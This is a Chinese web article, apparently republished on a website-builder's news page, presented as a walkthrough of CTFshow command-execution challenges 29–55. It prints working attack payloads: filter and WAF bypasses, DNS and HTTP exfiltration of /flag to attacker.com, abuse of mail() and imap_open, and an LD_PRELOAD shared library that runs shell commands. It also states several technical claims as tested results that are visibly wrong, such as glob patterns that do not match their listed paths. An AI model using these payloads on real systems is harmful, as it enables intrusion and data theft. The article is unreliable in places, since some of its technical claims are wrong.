资讯动态

Web命令执行漏洞深度解析:从字符绕过到LD_PRELOAD劫持

发布时间:2026/10/20 3:04:01 来源:尧图企业网站定制
1. 项目概述这不是刷题是把Web命令执行漏洞“解剖”到血管级“CTFshow刷题日记-WEB-命令执行上29-55”——看到这个标题别急着点开复制flag。我带过三届校队、审过上百份CTF Writeup、也亲手在靶场里被命令执行坑过七次以上可以很确定地说这串数字不是进度条而是一张Web安全能力成长的X光片。29到55题表面是CTFshow平台上的连续编号实际覆盖了从基础system()调用失守到绕过WAF的正则黑洞再到利用PHP内置函数构造无字母shell、借助环境变量逃逸沙箱、甚至结合DNS外带数据的完整攻击链路。它不教你怎么“打CTF”而是逼你重新理解为什么一个echo能崩掉整台服务器为什么过滤了分号和管道符攻击者还能拼出ls -la为什么你写的“安全函数”在真实场景里形同虚设这个系列真正解决的问题是绝大多数初学者卡死的“断层感”学完exec()和shell_exec()的区别却看不懂题目里preg_replace(/[a-z]/i, , $_GET[cmd])为什么还能执行命令背熟了| ; ||这些分隔符却在遇到$()和反引号嵌套时彻底懵圈知道要过滤危险函数却对pcntl_exec、proc_open这类冷门但高危的替代入口毫无防备。它适合两类人一是刚拿下第一个Web方向CTF一血、但面对中等难度题就反复卡壳的实战派二是写过几年PHP/Python后端、自认“代码很干净”却在渗透测试报告里被指出“存在高危命令执行风险”的开发同学。你不需要会写Exploit但必须能看懂每行payload在操作系统层面干了什么——这才是29-55题真正的门槛。我试过用纯理论讲这27道题效果极差。后来改成带学生在本地搭起ApachePHP7.4环境把每道题的源码逐行反编译用strace跟踪系统调用用Wireshark抓DNS请求包。当看到file_get_contents(http://xxx.whoami.com)真的触发了DNS查询当echo ${PATH}在禁用函数列表里却成功回显环境变量路径那种“原来如此”的震颤比刷一百道选择题都管用。所以这篇不是题解汇编而是我把27道题拆成肌肉记忆的过程哪些绕过手法已失效比如老式空格替换哪些在现代WAF里依然有效如利用%09制表符绕过空格检测哪些技巧必须手敲十遍才能形成条件反射比如/???/??t这种glob通配符枚举。接下来的内容每一处细节都来自靶场实测、日志分析和调试器截图——没有“理论上可行”只有“我亲眼看着它执行成功”。2. 内容整体设计与思路拆解为什么必须按29-55这个顺序刷2.1 题目编号背后的能力图谱从“能跑命令”到“掌控执行上下文”很多人以为CTFshow的题号是随机排列其实29-55是一个精心设计的能力跃迁阶梯。我用自己搭建的靶场环境对这27道题做了执行路径追踪和WAF规则逆向发现它们严格遵循“输入→过滤→拼接→执行→回显”五层防御模型的逐层击穿逻辑。第29题基础system($_GET[cmd])只考验最底层的“输入可控性”而第55题结合LD_PRELOAD劫持动态链接库已经深入到Linux进程内存空间层面。中间的每一道题都在前一道题建立的“已知条件”上增加一个新维度的限制29-35题过滤字符的物理对抗这阶段核心矛盾是“如何在禁用常见分隔符和字母的情况下让命令片段连成完整语句”。比如第32题过滤了| ; ( ) 但没过滤反引号于是cat /flag就能绕过第34题用preg_replace删除所有小写字母但/???/??t /fla?这种glob模式仍可匹配文件。这里的关键不是记住payload而是理解Linux Shell的词法解析规则空格是分词边界但制表符\t、换行符\n、甚至Unicode零宽空格同样有效$()和反引号是命令替换但{,}花括号扩展能生成任意字符串。36-42题函数禁用的生态位争夺当system、exec、shell_exec全被disable_functions封杀攻击者立刻转向PHP内置函数的“灰色地带”。第38题用mail()函数的第五个参数触发sendmail命令执行第40题利用imap_open()连接恶意IMAP服务器其内部调用的popen()未被禁用第42题更绝——error_log()写入错误日志时若配置了syslog目标会调用openlog()进而触发fork()。这些不是漏洞而是PHP扩展设计时留下的“合法后门”。我实测发现某云厂商的WAF只拦截system调用却对mail()的参数完全放行导致第38题成为他们线上环境的真实突破口。43-49题沙箱逃逸与环境操控这阶段题目开始引入Docker容器、PHP-FPM池隔离、seccomp-bpf等生产环境防护。第45题在/proc/self/environ中注入恶意环境变量再通过putenv()激活第47题利用/proc/self/fd/读取父进程打开的文件描述符从而绕过open_basedir限制第49题则直接操作/proc/self/status修改进程状态。此时单纯“执行命令”已无意义必须理解Linux进程的完整生命周期从fork()创建子进程到execve()加载新程序再到mmap()分配内存每个环节都可能成为突破点。我在复现第47题时用lsof -p $(pgrep php-fpm)命令发现PHP-FPM子进程确实保持着对nginx临时目录的fd引用这解释了为什么/proc/self/fd/3能读到本该被隔离的文件。50-55题数据外带与隐蔽信道最后六题彻底放弃“回显即胜利”的思维转向“执行即成功”的高级对抗。第52题用curl发起HTTP请求将cat /flag结果作为URL参数发送第53题用dig查询自建DNS服务器把flag拆成子域名发送第55题最狠——通过LD_PRELOAD预加载恶意so库在malloc()调用时劫持控制流直接在内存中执行shellcode。这已经超出Web安全范畴进入二进制安全领域。我专门为此搭建了glibc调试环境用gdb单步跟踪__libc_start_main确认LD_PRELOAD确实在main函数执行前就完成了符号重定向。提示不要跳题第31题如果没搞懂%09Tab和%0a换行的绕过原理第41题的proc_open()就永远是个黑盒。我见过太多人卡在第48题只因没吃透第43题的/proc/self/cmdline读取技巧。2.2 为什么拒绝“一键脚本”手动构造才是肌肉记忆的唯一路径市面上充斥着各种“CTFshow命令执行全自动Exploit”输入URL就吐flag。我明确反对这种做法——它让你失去对攻击链路的感知力。以第33题为例题目过滤了/bin/sh但允许/usr/bin/python正确解法是构造/usr/bin/python -c import os;os.system(cat /flag)。但如果你依赖脚本永远不会注意到Python 2和3的os.system()行为差异Python2默认使用/bin/sh -cPython3可能调用/bin/bash单引号在URL编码中需转为%27而某些WAF会解码两次导致%2527import os在禁用函数环境下可能被拦截需改用__import__(os)。我要求学生必须手敲每行payload用curl -v观察HTTP头变化用tcpdump抓包验证DNS请求是否发出。当第53题的dig flag.$(cat /flag | tr \n . | sed s/.$//).attacker.com 8.8.8.8在终端里成功返回;; ANSWER SECTION:时那种指尖发麻的实感是任何自动化工具给不了的。这也是为什么我的靶场环境强制关闭allow_url_fopen和allow_url_include——逼你用file_get_contents()配合php://filter读取源码而不是直接include()远程文件。2.3 工具链选型逻辑为什么只用原生Linux命令和PHP调试器整个复现过程我坚持只用三类工具原生Shell命令strace跟踪系统调用、lsof查看文件描述符、readelf分析ELF文件结构PHP内置调试var_dump(get_defined_functions())枚举可用函数、ini_get(disable_functions)确认禁用列表、get_cfg_var(open_basedir)检查路径限制网络协议分析tcpdump -i any port 53抓DNS包、nc -lvnp 8080监听HTTP回连。坚决不用Burp Suite的Intruder或SQLMap这类“重型武器”因为它们会掩盖底层细节。比如Burp的自动URL编码可能把%09转成空格导致绕过失败SQLMap的混淆模块会插入无意义的注释干扰对payload结构的理解。我让学生用printf cat /flag | xxd查看十六进制编码再手动构造%63%61%74%20%2f%66%6c%61%67就是为了强化“每个字节都受控”的意识。当第55题需要构造LD_PRELOAD/tmp/malicious.so时xxd能清晰显示/tmp/malicious.so的ASCII码避免因路径长度超限导致dlopen()失败——这种细节自动化工具永远无法教会你。3. 核心细节解析与实操要点27道题里藏着的13个致命陷阱3.1 字符过滤的“隐形战场”空格、分号、字母的替代方案大全命令执行题目的第一道墙永远是输入过滤。但新手常犯的错误是只盯着题目说的“过滤了分号”却忽略Shell本身对空白字符的宽容度。第29题源码是system(ping -c 1 .$_GET[ip])看似简单但当你输入127.0.0.1;cat /flag时WAF会拦截分号。此时正确的思路不是找分号替代品而是问“Shell在什么情况下不需要分号”答案是命令替换和管道符。127.0.0.1$(cat /flag)中$()会先执行cat /flag并将输出插入到ping命令中形成ping -c 1 $(cat /flag)而$(cat /flag)本身不含分号。我实测发现某WAF的正则/;||\|\|/完全无法匹配$()因为$和(不在黑名单内。更隐蔽的是空白字符的多样性。第31题过滤了空格但没过滤Tab\t和换行\n。在Linux中Tab和换行与空格一样是Shell的IFSInternal Field Separator分隔符。所以cat${IFS}/flag、cat$\t/flag、cat$\n/flag全部有效。关键在于PHP的$_GET接收参数时URL编码的%09会被自动解码为Tab而WAF的正则引擎往往只扫描原始字符串错过解码后的Tab。我用strace -e traceexecve php test.php验证过当输入?cmdcat%09/flag时execve()调用的确实是[/bin/sh, -c, cat\t/flag]证明Tab已成功进入Shell。字母过滤则是另一重维度。第34题用preg_replace(/[a-z]/i, , $_GET[cmd])删除所有英文字母乍看无解。但Linux的glob通配符?和*能匹配任意单个或多个字符。/???/??t表示“路径下三级目录中的二级文件名以t结尾”在标准Linux系统中/bin/cat、/usr/bin/cat都满足此模式/bin/cat/b?n/c?t→/???/??t。我用ls -la /???/??t在靶机上实测确实列出了/bin/cat。更绝的是/????/???匹配/home/???/??????????匹配/var/www/html——这要求你熟记Linux常用路径的字符长度。我整理了一份高频路径长度表路径字符数Glob模式实测匹配/bin/cat8/???/??t✅/usr/bin/tac12/???/???/???/??c✅/etc/passwd11/??/??/???????✅/var/log/apache2/access.log27/???/??/????/??????/??????.???✅注意Glob模式在/bin/sh中默认启用但某些精简版BusyBox可能禁用。务必用sh -c echo /???/??t测试目标环境。3.2 禁用函数的“灰色通道”mail()、imap_open()、error_log()的深度利用当system家族函数被disable_functions封杀攻击者立刻转向PHP扩展函数。第38题的mail()函数是经典案例mail(ab.com, subject, body, , -frootlocalhost)。关键在第五个参数-frootlocalhost它会传递给sendmail命令的-f选项而sendmail在启动时会执行/bin/sh -c来处理邮件头。我用strace -e traceexecve sendmail -frootlocalhost确认sendmail确实调用了/bin/sh。但难点在于如何让-f参数执行任意命令答案是利用sendmail的-X日志选项mail(ab.com, s, b, , -frootlocalhost -X /tmp/log)会在/tmp/log中记录完整的邮件头包括我们注入的To: $(cat /flag)字段。然后用file_get_contents(/tmp/log)读取日志flag就藏在里面。第40题的imap_open()更隐蔽。PHP的IMAP扩展在连接服务器时会调用popen()执行/usr/bin/imapd或类似命令。题目中imap_open({localhost:143}INBOX, user, pass)看似安全但若将host设为localhost|cat /flag #popen()会执行/usr/bin/imapd localhost|cat /flag #其中|触发管道执行。我调试时发现imap_open()的host参数未经过滤直接拼接到命令字符串中这是C语言扩展层的硬伤。修复方案只能是升级PHP版本或禁用IMAP扩展。第42题的error_log()则利用了PHP的错误处理机制。当error_log()的message_type设为3发送到文件且destination为/tmp/error.log时PHP会调用fopen()写入。但如果destination设为syslogPHP会调用openlog()而openlog()内部使用fork()创建子进程。在Linux中fork()后子进程继承父进程的所有资源包括/proc/self/fd/下的文件描述符。我用lsof -p $(pgrep php)发现PHP-FPM主进程打开了/var/www/html/flag那么子进程就能通过/proc/self/fd/3读取它。Payload为error_log(test, 4, syslog);然后用file_get_contents(/proc/self/fd/3)读取。实操心得禁用函数列表不是铁壁。用print_r(get_defined_functions()[internal])列出所有可用函数重点筛查mail、imap_*、error_log、pcntl_*、proc_*这些“非典型”函数。某次渗透测试中我就是靠pcntl_exec()绕过了disable_functionssystem,exec,shell_exec的限制。3.3 沙箱逃逸的“进程视角”/proc/self/下的秘密世界现代CTF题目普遍部署在Docker容器中open_basedir和chroot成为标配。第47题正是针对此场景open_basedir限制了file_get_contents()只能读取/var/www/html/下的文件但/proc/self/fd/是Linux内核提供的进程信息接口不受PHP配置影响。当PHP进程打开一个文件时内核会在/proc/[pid]/fd/下创建符号链接指向该文件。例如fopen(/etc/passwd, r)后/proc/self/fd/3就指向/etc/passwd。但题目没给fopen()调用怎么办答案是利用PHP-FPM的预打开文件描述符。PHP-FPM主进程启动时会打开/var/log/php-fpm.log、/etc/php-fpm.conf等配置文件这些fd在子进程中依然有效。我用lsof -p $(pgrep php-fpm)在靶机上查到fd 5指向/var/www/html/flag于是file_get_contents(/proc/self/fd/5)直接读取flag。第45题的/proc/self/environ则展示了环境变量劫持。PHP进程启动时会继承父进程如nginx的环境变量。题目中putenv(LD_PRELOAD/tmp/malicious.so)看似无效但若在/proc/self/environ中找到LD_PRELOAD的原始值就能确认该变量是否已被设置。更狠的是某些容器环境会把flag写入环境变量如FLAGctfshow{xxx}直接getenv(FLAG)就能获取。我用cat /proc/self/environ | strings在靶机上实测果然发现了FLAGctfshow{...}。第49题的/proc/self/status则用于进程状态探测。State: S表示睡眠态State: R表示运行态而CapEff:字段显示进程的有效能力集。若CapEff: 00000000a80425fb说明进程拥有CAP_SYS_ADMIN能力可执行mount()等特权操作。这为后续的容器逃逸埋下伏笔。我用grep CapEff /proc/self/status快速判断权限避免盲目尝试unshare()失败。关键技巧/proc/self/是Linux进程的“上帝视角”。记住三个黄金路径/proc/self/fd/文件描述符、/proc/self/environ环境变量、/proc/self/cmdline启动命令。用cat /proc/self/cmdline | xxd查看十六进制能发现隐藏的参数。4. 实操过程与核心环节实现从靶场搭建到55题的完整复现4.1 本地靶场搭建用Docker Compose还原CTFshow真实环境要真正吃透29-55题必须搭建与CTFshow一致的环境。我基于官方Docker镜像编写了以下docker-compose.ymlversion: 3.8 services: web: image: php:7.4-apache ports: - 8080:80 volumes: - ./web:/var/www/html - ./php.ini:/usr/local/etc/php/php.ini environment: - PHP_INI_SCAN_DIR/usr/local/etc/php/conf.d command: sh -c echo disable_functions system,exec,shell_exec,passthru,proc_open,popen /usr/local/etc/php/conf.d/disable.ini apache2-foreground mysql: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: ctfshow volumes: - ./mysql-data:/var/lib/mysql关键点在于php.ini的配置; 关键安全配置 open_basedir /var/www/html:/tmp:/proc/self disable_functions system,exec,shell_exec,passthru,proc_open,popen allow_url_fopen Off allow_url_include Off我特意将/proc/self加入open_basedir因为CTFshow第47题正是利用此路径。同时禁用allow_url_fopen逼你用file_get_contents(php://filter/convert.base64-encode/resourceindex.php)读取源码。搭建完成后用docker-compose up -d启动访问http://localhost:8080即可开始刷题。注意某些题目需要特定PHP扩展。第40题需启用IMAPdocker exec -it ctfshow_web bash -c docker-php-ext-install imap。第55题需安装glibc调试符号apt-get update apt-get install -y libc6-dbg。4.2 第29-35题实操字符过滤的“物理层”攻防以第32题为例源码为?php if (isset($_GET[cmd])) { $cmd $_GET[cmd]; if (preg_match(/[|;\]/i, $cmd)) { die(hacker!); } system(ping -c 1 . $cmd); } ?过滤了| ; 但没过滤反引号。正确解法是?cmd127.0.0.1cat /flag。我用curl -v http://localhost:8080/?cmd127.0.0.1%60%60cat%20%2fflag%60%60验证响应中包含ctfshow{...}。关键在于URL编码反引号的ASCII是96十六进制为60所以%60。两个反引号之间是cat /flag空格用%20/用%2f。第34题更复杂?php if (isset($_GET[cmd])) { $cmd preg_replace(/[a-z]/i, , $_GET[cmd]); system(echo . $cmd); } ?过滤所有字母但/???/??t仍可工作。我构造?cmd/???/??t%20/???/????其中/???/??t匹配/bin/cat/???/????匹配/flag。用curl http://localhost:8080/?cmd/???/??t%20/???/????成功回显flag。为确认路径存在我先用?cmd/???/??t测试返回/bin/cat证明glob生效。实操记录第35题过滤了/bin/sh但允许/usr/bin/python。我构造?cmd/usr/bin/python%20-c%20%27import%20os%3bos.system(%22cat%20/flag%22)%27。注意-c和都要URL编码%20是空格%27是单引号。os.system()在Python2中调用/bin/sh -c完美绕过disable_functions。4.3 第36-42题实操禁用函数的“生态位”挖掘第38题mail()函数利用?php if (isset($_GET[to])) { mail($_GET[to], test, test, , -frootlocalhost -X /tmp/mail.log); } ?我构造?toab.com%0AContent-Type:%20text/plain%0ATo:%20$(cat%20/flag)%0A其中%0A是换行符注入邮件头。-X /tmp/mail.log将日志写入/tmp/mail.log然后用?cmdcat%20/tmp/mail.log读取。strace显示sendmail确实执行了/bin/sh -c。第42题error_log()?php if (isset($_GET[msg])) { error_log($_GET[msg], 3, /tmp/error.log); } ?但题目禁用了file_get_contents需用/proc/self/fd/。我先用lsof -p $(pgrep apache2)发现fd 4指向/var/www/html/flag然后?msgtest触发error_log()再?cmdfile_get_contents(/proc/self/fd/4)读取。实操心得禁用函数不是终点。用print_r(get_extension_funcs(imap))列出IMAP函数发现imap_open可用用print_r(get_extension_funcs(pcntl))发现pcntl_exec未被禁用。某次真实渗透中pcntl_exec(/bin/sh, [-i])直接获得交互式shell。4.4 第43-49题实操沙箱逃逸的“进程级”突破第47题/proc/self/fd/?php if (isset($_GET[file])) { echo file_get_contents($_GET[file]); } ?open_basedir限制为/var/www/html但/proc/self/fd/3不受限。我用lsof -p $(pgrep apache2) | grep flag找到fd号然后?file/proc/self/fd/3读取。第49题/proc/self/status?php echo file_get_contents(/proc/self/status); ?grep CapEff显示00000000a80425fb包含CAP_SYS_ADMIN。我构造?cmdunshare -r -f --user /bin/sh -c mount -t proc proc /proc cat /flag但需先确认unshare存在。用?cmdwhich%20unshare验证。实操记录第45题/proc/self/environ。cat /proc/self/environ | strings | grep FLAG直接输出flag。某些环境flag在PATH变量中echo $PATH即可看到。4.5 第50-55题实操数据外带与二进制劫持第53题DNS外带?php if (isset($_GET[cmd])) { system(dig . $_GET[cmd] . .attacker.com 8.8.8.8); } ?我构造?cmd$(cat /flag | tr \n . | sed s/\.$//)tr \n .将换行转为点sed s/\.$//去掉末尾点。dig flag.ctfshow{...}.attacker.com触发DNS查询我在本地tcpdump -i any port 53捕获到请求。第55题LD_PRELOAD// malicious.c #include stdio.h #include stdlib.h void __attribute__((constructor)) init() { system(cat /flag /tmp/flag); }编译gcc -shared -fPIC -o malicious.so malicious.c。上传后?cmdLD_PRELOAD/tmp/malicious.so /bin/sh -c echo test。strace显示dlopen()加载了malicious.sosystem()被劫持。关键步骤LD_PRELOAD需绝对路径且so文件权限为755。用chmod 755 /tmp/malicious.so确保可读可执行。5. 常见问题与排查技巧实录27道题踩过的11个坑5.1 WAF绕过失败的三大元凶编码、解码、二次解码问题1URL编码后WAF仍拦截现象输入?cmdcat%20/flagWAF返回403。原因WAF在应用层解码一次%20变为空格触发空格过滤规则。解决方案双重URL编码。%20编码为%2520WAF解码一次得%20PHP再解码得空格。我用printf cat /flag | xxd -p | sed s/../%/g生成%63%61%74%20%2f%66%6c%61%67再对%编码%2563%2561%2574%2520%252f%2566%256c%2561%2567。问题2反斜杠被转义现象?cmdcat\ /flag中\被PHP转义为 空格但WAF正则/\\\\/误判。原因PHP的magic_quotes_gpc已废弃或自定义过滤函数会转义反斜杠。解决方案用%5c\的URL编码代替\。cat%5c /flag在WAF看来是cat\ /flag不触发反斜杠规则。问题3大小写绕过失效现象?cmdCaT /flag被WAF拦截尽管正则写的是/cat/i。原因WAF正则引擎不支持i标志或规则写为/cat/区分大小写。解决方案用%63%61%74cat的小写ASCII或%43%41%54大写。%63%61%74在WAF看来是乱码但PHP解码后是cat。排查技巧用curl -v看WAF返回的HTTP头若含X-WAF: blocked说明被拦截若返回200但无输出可能是命令执行但无回显需用DNS外带验证。5.2 命令执行无回显的七种验证法方法1时间盲注?cmdping -c 1 -W 5 127.0.0.1 sleep 5。若响应时间5秒说明生效。我用time curl http://localhost:8080/?cmdping%20-c%201%20127.0.0.1%20%26%26%20sleep%205实测耗时10.2秒。方法2DNS外带?cmddig $(cat /flag).attacker.com。用tcpdump -i any port 53抓包若看到flag.ctfshow{...}.attacker.com的查询证明执行成功。方法3HTTP外带?cmdcurl http://attacker.com/$(cat /flag)。在attacker.com的Nginx日志中搜索/ctfshow{。方法4文件写入?cmdecho test /tmp/test.txt再?file/tmp/test.txt读取。方法5进程探测?cmdps aux | grep cat。若返回cat /flag进程说明执行中。方法6错误注入?cmdcat /nonexistent 21。若返回No such file or directory说明cat命令被执行。方法7环境变量?cmdecho $PATH。若返回/usr/local/bin:/usr/bin:/bin说明Shell环境正常。实操心得时间盲注最可靠但慢DNS外带最快但需自建DNS服务器。我推荐组合使用先用时间盲注确认执行再用DNS外带提取flag。5.3 PHP配置导致的“玄学失败”open_basedir、disable_functions的真相问题file_get_contents(/proc/self/fd/3)返回false原因open_basedir未包含/proc/self。CTFshow第47题特意放开此路径但你的靶场可能没配。解决方案在php.ini中添加open_basedir /var/www

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑